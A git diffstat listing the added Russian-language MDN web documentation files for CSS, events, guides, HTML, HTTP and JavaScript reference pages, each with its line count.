+ files/ru/web/css/time/index.html | 87 + files/ru/web/css/top/index.html | 211 ++ files/ru/web/css/touch-action/index.html | 232 ++ files/ru/web/css/transform-function/index.html | 207 ++ .../web/css/transform-function/rotate()/index.html | 154 + .../css/transform-function/rotate3d()/index.html | 131 + .../css/transform-function/scale3d()/index.html | 99 + .../web/css/transform-function/skew()/index.html | 117 + files/ru/web/css/transform-style/index.html | 118 + files/ru/web/css/transform/index.html | 155 + files/ru/web/css/transition-duration/index.html | 341 ++ files/ru/web/css/transition/index.html | 106 + files/ru/web/css/type_selectors/index.html | 121 + files/ru/web/css/universal_selectors/index.html | 132 + files/ru/web/css/url()/index.html | 171 + files/ru/web/css/url/index.html | 93 + files/ru/web/css/used_value/index.html | 132 + files/ru/web/css/user-select/index.html | 143 + .../web/css/using_css_custom_properties/index.html | 281 ++ files/ru/web/css/vertical-align/index.html | 243 ++ files/ru/web/css/visibility/index.html | 172 + files/ru/web/css/white-space/index.html | 168 + files/ru/web/css/widows/index.html | 123 + files/ru/web/css/width/index.html | 207 ++ files/ru/web/css/will-change/index.html | 166 + files/ru/web/css/word-break/index.html | 136 + files/ru/web/css/word-spacing/index.html | 121 + files/ru/web/css/writing-mode/index.html | 166 + files/ru/web/css/z-index/index.html | 192 + .../index.html" | 40 + .../index.html" | 49 + .../index.html" | 146 + .../index.html" | 153 + .../index.html" | 76 + .../index.html" | 28 + .../index.html" | 50 + .../index.html" | 43 + files/ru/web/events/abort/index.html | 69 + files/ru/web/events/blur/index.html | 153 + files/ru/web/events/domcontentloaded/index.html | 146 + .../ru/web/events/dommodaldialogclosed/index.html | 63 + files/ru/web/events/domsubtreemodified/index.html | 21 + files/ru/web/events/error/index.html | 95 + files/ru/web/events/focusin/index.html | 123 + files/ru/web/events/focusout/index.html | 126 + files/ru/web/events/index.html | 2964 ++++++++++++++++ files/ru/web/events/load/index.html | 88 + files/ru/web/events/loadstart/index.html | 89 + files/ru/web/events/readystatechange/index.html | 90 + files/ru/web/events/transitionend/index.html | 165 + files/ru/web/events/unhandledrejection/index.html | 49 + files/ru/web/guide/ajax/index.html | 83 + .../index.html" | 258 ++ .../index.html" | 6 + files/ru/web/guide/api/dom/index.html | 37 + files/ru/web/guide/api/dom/storage/index.html | 367 ++ files/ru/web/guide/api/index.html | 26 + files/ru/web/guide/api/webrtc/index.html | 34 + .../index.html | 407 +++ .../buffering_seeking_time_ranges/index.html | 216 ++ .../web/guide/audio_and_video_delivery/index.html | 554 +++ .../guide/audio_and_video_manipulation/index.html | 404 +++ .../guide/css/block_formatting_context/index.html | 142 + .../cascading_and_inheritance/index.html | 151 + .../web/guide/css/getting_started/color/index.html | 344 ++ .../css/getting_started/how_css_works/index.html | 121 + files/ru/web/guide/css/getting_started/index.html | 59 + .../css/getting_started/readable_css/index.html | 165 + .../guide/css/getting_started/selectors/index.html | 433 +++ .../getting_started/svg_\320\270_css/index.html" | 213 ++ .../css/getting_started/text_styles/index.html | 151 + .../css/getting_started/what_is_css/index.html | 119 + .../css/getting_started/why_use_css/index.html | 109 + .../index.html" | 524 +++ files/ru/web/guide/css/index.html | 11 + .../adding_z-index/index.html | 157 + .../web/guide/css/understanding_z_index/index.html | 51 + .../stacking_without_z-index/index.html | 140 + .../css/using_multi-column_layouts/index.html | 124 + .../guide/css/visual_formatting_model/index.html | 209 ++ .../ru/web/guide/events/event_handlers/index.html | 166 + files/ru/web/guide/events/index.html | 59 + files/ru/web/guide/events/media_events/index.html | 269 ++ .../overview_of_events_and_handlers/index.html | 130 + .../index.html" | 92 + .../web/guide/html/content_categories/index.html | 171 + .../html/drag_and_drop/drag_operations/index.html | 314 ++ files/ru/web/guide/html/drag_and_drop/index.html | 72 + .../ru/web/guide/html/editable_content/index.html | 242 ++ .../index.html | 375 ++ .../index.html | 204 ++ .../guide/html/using_data_attributes/index.html | 129 + .../index.html" | 149 + files/ru/web/guide/index.html | 70 + .../index.html | 57 + files/ru/web/guide/mobile/index.html | 75 + .../guide/parsing_and_serializing_xml/index.html | 118 + .../unicode_bidrectional_text_algorithm/index.html | 144 + files/ru/web/guide/user_input_methods/index.html | 198 ++ files/ru/web/guide/woff/index.html | 65 + .../index.html" | 41 + .../index.html" | 20 + files/ru/web/html/applying_color/index.html | 520 +++ files/ru/web/html/attributes/index.html | 656 ++++ files/ru/web/html/block-level_elements/index.html | 119 + files/ru/web/html/cors_enabled_image/index.html | 118 + .../web/html/cors_settings_attributes/index.html | 130 + files/ru/web/html/element/a/index.html | 394 +++ files/ru/web/html/element/abbr/index.html | 186 + files/ru/web/html/element/acronym/index.html | 120 + files/ru/web/html/element/address/index.html | 161 + files/ru/web/html/element/applet/index.html | 119 + files/ru/web/html/element/area/index.html | 192 + files/ru/web/html/element/article/index.html | 148 + files/ru/web/html/element/aside/index.html | 118 + files/ru/web/html/element/audio/index.html | 258 ++ files/ru/web/html/element/b/index.html | 110 + files/ru/web/html/element/base/index.html | 152 + files/ru/web/html/element/basefont/index.html | 58 + files/ru/web/html/element/bdi/index.html | 139 + files/ru/web/html/element/bdo/index.html | 110 + files/ru/web/html/element/blockquote/index.html | 157 + files/ru/web/html/element/body/index.html | 169 + files/ru/web/html/element/br/index.html | 111 + files/ru/web/html/element/canvas/index.html | 183 + files/ru/web/html/element/caption/index.html | 154 + files/ru/web/html/element/cite/index.html | 152 + files/ru/web/html/element/code/index.html | 116 + files/ru/web/html/element/col/index.html | 236 ++ files/ru/web/html/element/data/index.html | 101 + files/ru/web/html/element/datalist/index.html | 113 + files/ru/web/html/element/dd/index.html | 111 + files/ru/web/html/element/del/index.html | 143 + files/ru/web/html/element/details/index.html | 203 ++ files/ru/web/html/element/dfn/index.html | 209 ++ files/ru/web/html/element/dialog/index.html | 251 ++ files/ru/web/html/element/div/index.html | 148 + files/ru/web/html/element/dl/index.html | 223 ++ files/ru/web/html/element/dt/index.html | 102 + files/ru/web/html/element/element/index.html | 112 + files/ru/web/html/element/em/index.html | 114 + files/ru/web/html/element/embed/index.html | 121 + files/ru/web/html/element/fieldset/index.html | 170 + files/ru/web/html/element/figcaption/index.html | 90 + files/ru/web/html/element/figure/index.html | 175 + files/ru/web/html/element/font/index.html | 63 + files/ru/web/html/element/footer/index.html | 113 + files/ru/web/html/element/form/index.html | 199 ++ files/ru/web/html/element/head/index.html | 130 + files/ru/web/html/element/header/index.html | 119 + .../web/html/element/heading_elements/index.html | 242 ++ files/ru/web/html/element/hgroup/index.html | 114 + files/ru/web/html/element/hr/index.html | 129 + files/ru/web/html/element/html/index.html | 121 + files/ru/web/html/element/image/index.html | 19 + files/ru/web/html/element/img/index.html | 388 +++ files/ru/web/html/element/index.html | 109 + files/ru/web/html/element/input/button/index.html | 345 ++ files/ru/web/html/element/input/color/index.html | 221 ++ files/ru/web/html/element/input/date/index.html | 510 +++ .../html/element/input/datetime-local/index.html | 586 ++++ .../ru/web/html/element/input/datetime/index.html | 29 + files/ru/web/html/element/input/file/index.html | 439 +++ files/ru/web/html/element/input/image/index.html | 205 ++ files/ru/web/html/element/input/index.html | 311 ++ files/ru/web/html/element/input/number/index.html | 420 +++ .../ru/web/html/element/input/password/index.html | 614 ++++ files/ru/web/html/element/input/radio/index.html | 377 ++ files/ru/web/html/element/input/range/index.html | 480 +++ files/ru/web/html/element/input/search/index.html | 467 +++ files/ru/web/html/element/input/tel/index.html | 523 +++ files/ru/web/html/element/ins/index.html | 120 + files/ru/web/html/element/kbd/index.html | 197 ++ files/ru/web/html/element/label/index.html | 175 + files/ru/web/html/element/legend/index.html | 95 + files/ru/web/html/element/li/index.html | 160 + files/ru/web/html/element/main/index.html | 175 + files/ru/web/html/element/map/index.html | 117 + files/ru/web/html/element/mark/index.html | 139 + files/ru/web/html/element/marquee/index.html | 196 ++ files/ru/web/html/element/menu/index.html | 208 ++ files/ru/web/html/element/meta/index.html | 409 +++ files/ru/web/html/element/meter/index.html | 139 + files/ru/web/html/element/nav/index.html | 110 + files/ru/web/html/element/noscript/index.html | 122 + files/ru/web/html/element/ol/index.html | 218 ++ files/ru/web/html/element/optgroup/index.html | 119 + files/ru/web/html/element/option/index.html | 100 + files/ru/web/html/element/output/index.html | 103 + files/ru/web/html/element/p/index.html | 190 + files/ru/web/html/element/picture/index.html | 107 + files/ru/web/html/element/pre/index.html | 171 + files/ru/web/html/element/progress/index.html | 123 + files/ru/web/html/element/ruby/index.html | 153 + files/ru/web/html/element/script/index.html | 225 ++ files/ru/web/html/element/section/index.html | 146 + files/ru/web/html/element/select/index.html | 120 + files/ru/web/html/element/slot/index.html | 115 + files/ru/web/html/element/source/index.html | 120 + files/ru/web/html/element/span/index.html | 124 + files/ru/web/html/element/strong/index.html | 135 + files/ru/web/html/element/style/index.html | 174 + files/ru/web/html/element/summary/index.html | 146 + files/ru/web/html/element/td/index.html | 205 ++ files/ru/web/html/element/template/index.html | 156 + files/ru/web/html/element/tfoot/index.html | 273 ++ files/ru/web/html/element/time/index.html | 162 + files/ru/web/html/element/title/index.html | 140 + files/ru/web/html/element/track/index.html | 179 + files/ru/web/html/element/u/index.html | 200 ++ files/ru/web/html/element/ul/index.html | 186 + files/ru/web/html/element/video/index.html | 380 ++ .../html/element/video/seeking_event/index.html | 80 + files/ru/web/html/element/wbr/index.html | 99 + .../index.html" | 363 ++ .../index.html" | 336 ++ .../html/global_attributes/accesskey/index.html | 134 + .../ru/web/html/global_attributes/class/index.html | 58 + .../global_attributes/contenteditable/index.html | 112 + .../html/global_attributes/data-_star_/index.html | 81 + files/ru/web/html/global_attributes/dir/index.html | 88 + .../web/html/global_attributes/dropzone/index.html | 43 + files/ru/web/html/global_attributes/id/index.html | 69 + files/ru/web/html/global_attributes/index.html | 156 + .../html/global_attributes/inputmode/index.html | 60 + files/ru/web/html/global_attributes/is/index.html | 62 + .../web/html/global_attributes/itemid/index.html | 106 + .../ru/web/html/global_attributes/lang/index.html | 90 + .../ru/web/html/global_attributes/style/index.html | 111 + .../web/html/global_attributes/tabindex/index.html | 112 + files/ru/web/html/index.html | 107 + .../index.html | 33 + files/ru/web/html/preloading_content/index.html | 243 ++ .../html/quirks_mode_and_standards_mode/index.html | 46 + .../index.html" | 327 ++ .../index.html" | 516 +++ .../index.html" | 32 + .../index.html" | 51 + .../index.html" | 502 +++ .../web/http/basics_of_http/data_uris/index.html | 131 + .../basics_of_http/evolution_of_http/index.html | 200 ++ .../identifying_resources_on_the_web_ru/index.html | 188 + files/ru/web/http/basics_of_http/index.html | 52 + .../mime_types/common_types/index.html | 394 +++ .../web/http/basics_of_http/mime_types/index.html | 318 ++ files/ru/web/http/conditional_requests/index.html | 144 + .../connection_management_in_http_1.x/index.html | 84 + files/ru/web/http/content_negotiation/index.html | 131 + .../list_of_default_accept_values/index.html | 256 ++ .../corsalloworiginnotmatchingorigin/index.html | 47 + .../http/cors/errors/corsdidnotsucceed/index.html | 28 + .../web/http/cors/errors/corsdisabled/index.html | 24 + .../cors/errors/corsmissingalloworigin/index.html | 58 + files/ru/web/http/cors/errors/index.html | 76 + files/ru/web/http/cors/index.html | 542 +++ files/ru/web/http/csp/index.html | 193 ++ files/ru/web/http/feature_policy/index.html | 149 + .../feature_policy/using_feature_policy/index.html | 145 + files/ru/web/http/index.html | 105 + files/ru/web/http/messages/index.html | 147 + files/ru/web/http/methods/connect/index.html | 82 + files/ru/web/http/methods/delete/index.html | 101 + files/ru/web/http/methods/get/index.html | 75 + files/ru/web/http/methods/head/index.html | 77 + files/ru/web/http/methods/index.html | 73 + files/ru/web/http/methods/options/index.html | 126 + files/ru/web/http/methods/patch/index.html | 100 + files/ru/web/http/methods/post/index.html | 122 + files/ru/web/http/methods/put/index.html | 104 + files/ru/web/http/methods/trace/index.html | 77 + files/ru/web/http/overview/index.html | 172 + files/ru/web/http/redirections/index.html | 260 ++ .../web/http/server-side_access_control/index.html | 212 ++ files/ru/web/http/session/index.html | 158 + files/ru/web/http/status/100/index.html | 42 + files/ru/web/http/status/101/index.html | 45 + files/ru/web/http/status/103/index.html | 50 + files/ru/web/http/status/200/index.html | 50 + files/ru/web/http/status/201/index.html | 43 + files/ru/web/http/status/202/index.html | 33 + files/ru/web/http/status/203/index.html | 37 + files/ru/web/http/status/204/index.html | 49 + files/ru/web/http/status/205/index.html | 35 + files/ru/web/http/status/206/index.html | 83 + files/ru/web/http/status/300/index.html | 41 + files/ru/web/http/status/301/index.html | 58 + files/ru/web/http/status/302/index.html | 61 + files/ru/web/http/status/303/index.html | 57 + files/ru/web/http/status/304/index.html | 46 + files/ru/web/http/status/307/index.html | 66 + files/ru/web/http/status/308/index.html | 46 + files/ru/web/http/status/400/index.html | 33 + files/ru/web/http/status/401/index.html | 54 + files/ru/web/http/status/402/index.html | 49 + files/ru/web/http/status/403/index.html | 48 + files/ru/web/http/status/404/index.html | 56 + files/ru/web/http/status/405/index.html | 37 + files/ru/web/http/status/406/index.html | 61 + files/ru/web/http/status/407/index.html | 54 + files/ru/web/http/status/408/index.html | 39 + files/ru/web/http/status/409/index.html | 40 + files/ru/web/http/status/410/index.html | 47 + files/ru/web/http/status/411/index.html | 36 + files/ru/web/http/status/412/index.html | 42 + files/ru/web/http/status/413/index.html | 34 + files/ru/web/http/status/414/index.html | 41 + files/ru/web/http/status/415/index.html | 37 + files/ru/web/http/status/416/index.html | 49 + files/ru/web/http/status/417/index.html | 41 + files/ru/web/http/status/418/index.html | 48 + files/ru/web/http/status/422/index.html | 41 + files/ru/web/http/status/425/index.html | 40 + files/ru/web/http/status/426/index.html | 46 + files/ru/web/http/status/428/index.html | 39 + files/ru/web/http/status/429/index.html | 42 + files/ru/web/http/status/431/index.html | 37 + files/ru/web/http/status/451/index.html | 61 + files/ru/web/http/status/500/index.html | 45 + files/ru/web/http/status/501/index.html | 39 + files/ru/web/http/status/502/index.html | 47 + files/ru/web/http/status/503/index.html | 43 + files/ru/web/http/status/504/index.html | 41 + files/ru/web/http/status/505/index.html | 33 + files/ru/web/http/status/511/index.html | 37 + files/ru/web/http/status/index.html | 353 ++ .../index.html" | 123 + .../accept-charset/index.html" | 83 + .../accept-language/index.html" | 94 + .../accept-patch/index.html" | 83 + .../accept-ranges/index.html" | 72 + .../accept/index.html" | 89 + .../access-control-allow-headers/index.html" | 93 + .../access-control-allow-methods/index.html" | 85 + .../access-control-allow-origin/index.html" | 94 + .../access-control-max-age/index.html" | 69 + .../authorization/index.html" | 91 + .../cache-control/index.html" | 173 + .../connection/index.html" | 53 + .../content-disposition/index.html" | 137 + .../content-encoding/index.html" | 107 + .../content-language/index.html" | 103 + .../content-length/index.html" | 67 + .../content-type/index.html" | 111 + .../date/index.html" | 86 + .../dnt/index.html" | 83 + .../etag/index.html" | 98 + .../expect/index.html" | 87 + .../expires/index.html" | 80 + .../host/index.html" | 72 + .../if-match/index.html" | 86 + .../if-modified-since/index.html" | 94 + .../if-unmodified-since/index.html" | 103 + .../index.html" | 573 +++ .../last-modified/index.html" | 94 + .../origin/index.html" | 77 + .../pragma/index.html" | 78 + .../range/index.html" | 88 + .../referer/index.html" | 94 + .../retry-after/index.html" | 86 + .../set-cookie/index.html" | 193 ++ .../strict-transport-security/index.html" | 112 + .../vary/index.html" | 81 + .../x-content-type-options/index.html" | 83 + .../x-forwarded-for/index.html" | 72 + .../x-xss-protection/index.html" | 87 + .../\320\272\321\203\320\272\320\270/index.html" | 173 + .../index.html" | 165 + files/ru/web/index.html | 150 + .../a_re-introduction_to_javascript/index.html | 900 +++++ files/ru/web/javascript/closures/index.html | 345 ++ files/ru/web/javascript/data_structures/index.html | 310 ++ .../index.html | 243 ++ .../equality_comparisons_and_sameness/index.html | 424 +++ files/ru/web/javascript/eventloop/index.html | 111 + files/ru/web/javascript/guide/about/index.html | 158 + .../control_flow_and_error_handling/index.html | 371 ++ .../guide/details_of_the_object_model/index.html | 723 ++++ .../guide/expressions_and_operators/index.html | 937 +++++ files/ru/web/javascript/guide/functions/index.html | 669 ++++ .../javascript/guide/grammar_and_types/index.html | 642 ++++ files/ru/web/javascript/guide/index.html | 131 + .../guide/indexed_collections/index.html | 441 +++ .../guide/ispolzovanie_promisov/index.html | 321 ++ .../guide/iterators_and_generators/index.html | 159 + .../guide/javascript_overview/index.html | 141 + .../javascript/guide/keyed_collections/index.html | 172 + .../guide/liveconnect_overview/index.html | 795 +++++ .../javascript/guide/meta_programming/index.html | 265 ++ files/ru/web/javascript/guide/modules/index.html | 451 +++ .../javascript/guide/numbers_and_dates/index.html | 378 ++ .../guide/predefined_core_objects/index.html | 922 +++++ .../regular_expressions/assertions/index.html | 60 + .../character_classes/index.html | 221 ++ .../guide/regular_expressions/index.html | 659 ++++ .../javascript/guide/text_formatting/index.html | 281 ++ .../guide/working_with_objects/index.html | 492 +++ .../index.html" | 159 + .../index.html" | 68 + .../index.html" | 362 ++ files/ru/web/javascript/index.html | 151 + .../inheritance_and_the_prototype_chain/index.html | 301 ++ .../index.html | 355 ++ .../javascript_technologies_overview/index.html | 85 + .../index.html" | 44 + .../web/javascript/language_resources/index.html | 82 + .../ru/web/javascript/memory_management/index.html | 178 + .../javascript/new_in_javascript/1.5/index.html | 37 + .../javascript/new_in_javascript/1.6/index.html | 32 + .../javascript/new_in_javascript/1.8.1/index.html | 31 + .../javascript/new_in_javascript/1.8.5/index.html | 122 + .../javascript/new_in_javascript/1.8/index.html | 38 + .../ecmascript_5_support_in_mozilla/index.html | 46 + .../ecmascript_6_support_in_mozilla/index.html | 222 ++ .../ru/web/javascript/new_in_javascript/index.html | 80 + .../reference/classes/class_fields/index.html | 350 ++ .../reference/classes/constructor/index.html | 205 ++ .../reference/classes/extends/index.html | 179 + .../ru/web/javascript/reference/classes/index.html | 414 +++ .../javascript/reference/classes/static/index.html | 129 + .../index.html" | 205 ++ .../deprecated_and_obsolete_features/index.html | 290 ++ .../reference/errors/already_has_pragma/index.html | 44 + .../errors/array_sort_argument/index.html | 45 + .../reference/errors/bad_octal/index.html | 53 + .../reference/errors/bad_radix/index.html | 61 + .../reference/errors/bad_regexp_flag/index.html | 102 + .../errors/bad_return_or_yield/index.html | 56 + .../errors/called_on_incompatible_type/index.html | 67 + .../index.html | 60 + .../errors/cant_access_property/index.html | 58 + .../errors/cant_assign_to_property/index.html | 52 + .../index.html | 65 + .../reference/errors/cant_delete/index.html | 60 + .../errors/cant_redefine_property/index.html | 49 + .../errors/cyclic_object_value/index.html | 70 + .../reference/errors/dead_object/index.html | 48 + .../errors/delete_in_strict_mode/index.html | 68 + .../index.html | 76 + .../deprecated_expression_closures/index.html | 76 + .../reference/errors/deprecated_octal/index.html | 70 + .../errors/deprecated_source_map_pragma/index.html | 113 + .../errors/deprecated_string_generics/index.html | 103 + .../errors/deprecated_tolocaleformat/index.html | 90 + .../reference/errors/equal_as_assign/index.html | 51 + .../for-each-in_loops_are_deprecated/index.html | 163 + .../reference/errors/getter_only/index.html | 81 + .../errors/identifier_after_number/index.html | 58 + .../reference/errors/illegal_character/index.html | 70 + .../errors/in_operator_no_object/index.html | 71 + .../ru/web/javascript/reference/errors/index.html | 25 + .../errors/invalid_array_length/index.html | 76 + .../invalid_assignment_left-hand_side/index.html | 54 + .../errors/invalid_const_assignment/index.html | 87 + .../reference/errors/invalid_date/index.html | 54 + .../errors/invalid_for-in_initializer/index.html | 73 + .../errors/invalid_for-of_initializer/index.html | 63 + .../index.html | 61 + .../reference/errors/is_not_iterable/index.html | 100 + .../reference/errors/json_bad_parse/index.html | 111 + .../errors/malformed_formal_parameter/index.html | 61 + .../reference/errors/malformed_uri/index.html | 61 + .../errors/missing_bracket_after_list/index.html | 56 + .../missing_colon_after_property_id/index.html | 72 + .../missing_curly_after_function_body/index.html | 66 + .../missing_curly_after_property_list/index.html | 51 + .../errors/missing_formal_parameter/index.html | 75 + .../errors/missing_initializer_in_const/index.html | 54 + .../missing_name_after_dot_operator/index.html | 63 + .../index.html | 38 + .../missing_parenthesis_after_condition/index.html | 70 + .../missing_semicolon_before_statement/index.html | 82 + .../errors/more_arguments_needed/index.html | 48 + .../errors/negative_repetition_count/index.html | 40 + .../reference/errors/no_non-null_object/index.html | 65 + .../reference/errors/no_properties/index.html | 41 + .../reference/errors/no_variable_name/index.html | 83 + .../non_configurable_array_element/index.html | 84 + .../reference/errors/not_a_codepoint/index.html | 50 + .../reference/errors/not_a_constructor/index.html | 96 + .../reference/errors/not_a_function/index.html | 84 + .../reference/errors/not_defined/index.html | 66 + .../reference/errors/precision_range/index.html | 96 + .../errors/property_access_denied/index.html | 47 + .../reference/errors/read-only/index.html | 82 + .../errors/redeclared_parameter/index.html | 61 + .../index.html | 89 + .../errors/reserved_identifier/index.html | 76 + .../errors/resulting_string_too_large/index.html | 45 + .../reference/errors/stmt_after_return/index.html | 84 + .../errors/strict_non_simple_params/index.html | 126 + .../reference/errors/too_much_recursion/index.html | 54 + .../typed_array_invalid_arguments/index.html | 78 + .../reference/errors/undeclared_var/index.html | 66 + .../reference/errors/undefined_prop/index.html | 57 + .../reference/errors/unexpected_token/index.html | 74 + .../reference/errors/unexpected_type/index.html | 63 + .../errors/unnamed_function_statement/index.html | 111 + .../errors/unterminated_string_literal/index.html | 64 + .../index.html" | 60 + .../functions/arguments/callee/index.html | 141 + .../functions/arguments/caller/index.html | 100 + .../reference/functions/arguments/index.html | 241 ++ .../functions/arguments/length/index.html | 117 + .../reference/functions/arrow_functions/index.html | 378 ++ .../functions/default_parameters/index.html | 217 ++ .../javascript/reference/functions/get/index.html | 180 + .../web/javascript/reference/functions/index.html | 483 +++ .../reference/functions/rest_parameters/index.html | 209 ++ .../javascript/reference/functions/set/index.html | 134 + .../index.html" | 191 + .../global_objects/array/@@iterator/index.html | 138 + .../global_objects/array/@@species/index.html | 78 + .../global_objects/array/@@unscopables/index.html | 76 + .../global_objects/array/concat/index.html | 135 + .../global_objects/array/copywithin/index.html | 216 ++ .../global_objects/array/entries/index.html | 116 + .../global_objects/array/every/index.html | 195 ++ .../reference/global_objects/array/fill/index.html | 159 + .../global_objects/array/filter/index.html | 302 ++ .../reference/global_objects/array/find/index.html | 167 + .../global_objects/array/findindex/index.html | 138 + .../reference/global_objects/array/flat/index.html | 160 + .../global_objects/array/flatmap/index.html | 126 + .../global_objects/array/foreach/index.html | 388 +++ .../reference/global_objects/array/from/index.html | 216 ++ .../global_objects/array/includes/index.html | 171 + .../reference/global_objects/array/index.html | 452 +++ .../global_objects/array/indexof/index.html | 175 + .../global_objects/array/isarray/index.html | 120 + .../reference/global_objects/array/join/index.html | 110 + .../reference/global_objects/array/keys/index.html | 90 + .../global_objects/array/lastindexof/index.html | 167 + .../global_objects/array/length/index.html | 146 + .../reference/global_objects/array/map/index.html | 284 ++ .../global_objects/array/observe/index.html | 138 + .../reference/global_objects/array/of/index.html | 99 + .../reference/global_objects/array/pop/index.html | 99 + .../global_objects/array/prototype/index.html | 171 + .../reference/global_objects/array/push/index.html | 111 + .../global_objects/array/reduce/index.html | 314 ++ .../global_objects/array/reduceright/index.html | 290 ++ .../global_objects/array/reverse/index.html | 96 + .../global_objects/array/shift/index.html | 139 + .../global_objects/array/slice/index.html | 242 ++ .../reference/global_objects/array/some/index.html | 215 ++ .../reference/global_objects/array/sort/index.html | 234 ++ .../global_objects/array/splice/index.html | 142 + .../global_objects/array/tolocalestring/index.html | 134 + .../global_objects/array/tosource/index.html | 94 + .../global_objects/array/tostring/index.html | 122 + .../global_objects/array/unshift/index.html | 89 + .../global_objects/array/values/index.html | 136 + .../global_objects/arraybuffer/index.html | 145 + .../global_objects/arraybuffer/isview/index.html | 88 + .../global_objects/arraybuffer/slice/index.html | 125 + .../global_objects/asyncfunction/index.html | 166 + .../asyncfunction/prototype/index.html | 55 + .../global_objects/atomics/add/index.html | 126 + .../reference/global_objects/atomics/index.html | 168 + .../global_objects/atomics/sub/index.html | 128 + .../global_objects/bigint/asintn/index.html | 79 + .../global_objects/bigint/asuintn/index.html | 72 + .../reference/global_objects/bigint/index.html | 294 ++ .../reference/global_objects/boolean/index.html | 200 ++ .../global_objects/boolean/prototype/index.html | 112 + .../global_objects/boolean/tosource/index.html | 92 + .../global_objects/boolean/tostring/index.html | 113 + .../global_objects/boolean/valueof/index.html | 111 + .../reference/global_objects/dataview/index.html | 122 + .../global_objects/dataview/setint16/index.html | 80 + .../global_objects/date/getdate/index.html | 81 + .../global_objects/date/getday/index.html | 94 + .../global_objects/date/getfullyear/index.html | 81 + .../global_objects/date/gethours/index.html | 103 + .../global_objects/date/getmilliseconds/index.html | 126 + .../global_objects/date/getminutes/index.html | 126 + .../global_objects/date/getmonth/index.html | 126 + .../global_objects/date/getseconds/index.html | 126 + .../global_objects/date/gettime/index.html | 100 + .../date/gettimezoneoffset/index.html | 106 + .../global_objects/date/getutcdate/index.html | 114 + .../global_objects/date/getutcday/index.html | 114 + .../global_objects/date/getutcfullyear/index.html | 113 + .../global_objects/date/getutchours/index.html | 113 + .../date/getutcmilliseconds/index.html | 113 + .../global_objects/date/getutcminutes/index.html | 113 + .../global_objects/date/getutcmonth/index.html | 113 + .../global_objects/date/getutcseconds/index.html | 113 + .../global_objects/date/getyear/index.html | 123 + .../reference/global_objects/date/index.html | 232 ++ .../reference/global_objects/date/now/index.html | 78 + .../reference/global_objects/date/parse/index.html | 217 ++ .../global_objects/date/prototype/index.html | 228 ++ .../global_objects/date/setdate/index.html | 84 + .../global_objects/date/setfullyear/index.html | 136 + .../global_objects/date/sethours/index.html | 125 + .../global_objects/date/setmilliseconds/index.html | 115 + .../global_objects/date/setminutes/index.html | 139 + .../global_objects/date/setmonth/index.html | 121 + .../global_objects/date/setseconds/index.html | 121 + .../global_objects/date/settime/index.html | 116 + .../global_objects/date/setutcdate/index.html | 115 + .../global_objects/date/setutcfullyear/index.html | 120 + .../global_objects/date/setutchours/index.html | 122 + .../date/setutcmilliseconds/index.html | 115 + .../global_objects/date/setutcminutes/index.html | 120 + .../global_objects/date/setutcmonth/index.html | 118 + .../global_objects/date/setutcseconds/index.html | 118 + .../global_objects/date/setyear/index.html | 87 + .../global_objects/date/todatestring/index.html | 113 + .../global_objects/date/togmtstring/index.html | 114 + .../global_objects/date/toisostring/index.html | 143 + .../global_objects/date/tojson/index.html | 107 + .../date/tolocaledatestring/index.html | 226 ++ .../global_objects/date/tolocaleformat/index.html | 73 + .../global_objects/date/tolocalestring/index.html | 233 ++ .../date/tolocaletimestring/index.html | 203 ++ .../global_objects/date/tosource/index.html | 93 + .../global_objects/date/tostring/index.html | 118 + .../global_objects/date/totimestring/index.html | 77 + .../global_objects/date/toutcstring/index.html | 114 + .../reference/global_objects/date/utc/index.html | 123 + .../global_objects/date/valueof/index.html | 114 + .../reference/global_objects/decodeuri/index.html | 124 + .../global_objects/decodeuricomponent/index.html | 107 + .../reference/global_objects/encodeuri/index.html | 139 + .../global_objects/encodeuricomponent/index.html | 157 + .../global_objects/error/columnnumber/index.html | 78 + .../global_objects/error/filename/index.html | 80 + .../reference/global_objects/error/index.html | 208 ++ .../global_objects/error/linenumber/index.html | 92 + .../global_objects/error/message/index.html | 107 + .../reference/global_objects/error/name/index.html | 108 + .../global_objects/error/prototype/index.html | 154 + .../global_objects/error/stack/index.html | 147 + .../global_objects/error/tosource/index.html | 88 + .../global_objects/error/tostring/index.html | 136 + .../reference/global_objects/escape/index.html | 120 + .../reference/global_objects/eval/index.html | 213 ++ .../reference/global_objects/evalerror/index.html | 146 + .../global_objects/evalerror/prototype/index.html | 121 + .../global_objects/float32array/index.html | 202 ++ .../global_objects/float64array/index.html | 199 ++ .../global_objects/function/apply/index.html | 252 ++ .../global_objects/function/arguments/index.html | 116 + .../global_objects/function/arity/index.html | 30 + .../global_objects/function/bind/index.html | 311 ++ .../global_objects/function/call/index.html | 175 + .../global_objects/function/caller/index.html | 131 + .../global_objects/function/displayname/index.html | 111 + .../reference/global_objects/function/index.html | 200 ++ .../global_objects/function/isgenerator/index.html | 83 + .../global_objects/function/length/index.html | 145 + .../global_objects/function/name/index.html | 219 ++ .../global_objects/function/prototype/index.html | 151 + .../global_objects/function/tosource/index.html | 87 + .../global_objects/function/tostring/index.html | 110 + .../reference/global_objects/generator/index.html | 187 + .../global_objects/generator/next/index.html | 116 + .../global_objects/generator/return/index.html | 95 + .../global_objects/generator/throw/index.html | 140 + .../global_objects/generatorfunction/index.html | 108 + .../generatorfunction/prototype/index.html | 58 + .../reference/global_objects/globalthis/index.html | 88 + .../javascript/reference/global_objects/index.html | 166 + .../reference/global_objects/infinity/index.html | 98 + .../reference/global_objects/int16array/index.html | 201 ++ .../reference/global_objects/int32array/index.html | 199 ++ .../reference/global_objects/int8array/index.html | 199 ++ .../global_objects/internalerror/index.html | 113 + .../internalerror/prototype/index.html | 99 + .../intl/collator/compare/index.html | 125 + .../global_objects/intl/collator/index.html | 187 + .../intl/collator/prototype/index.html | 108 + .../intl/collator/resolvedoptions/index.html | 108 + .../intl/collator/supportedlocalesof/index.html | 117 + .../intl/datetimeformat/format/index.html | 123 + .../intl/datetimeformat/formattoparts/index.html | 169 + .../global_objects/intl/datetimeformat/index.html | 276 ++ .../intl/datetimeformat/prototype/index.html | 108 + .../intl/datetimeformat/resolvedoptions/index.html | 116 + .../datetimeformat/supportedlocalesof/index.html | 118 + .../intl/getcanonicallocales/index.html | 73 + .../reference/global_objects/intl/index.html | 117 + .../global_objects/intl/listformat/index.html | 104 + .../intl/numberformat/format/index.html | 120 + .../global_objects/intl/numberformat/index.html | 189 + .../intl/numberformat/prototype/index.html | 108 + .../intl/numberformat/resolvedoptions/index.html | 117 + .../numberformat/supportedlocalesof/index.html | 117 + .../reference/global_objects/isfinite/index.html | 114 + .../reference/global_objects/isnan/index.html | 133 + .../reference/global_objects/iterator/index.html | 138 + .../reference/global_objects/json/index.html | 230 ++ 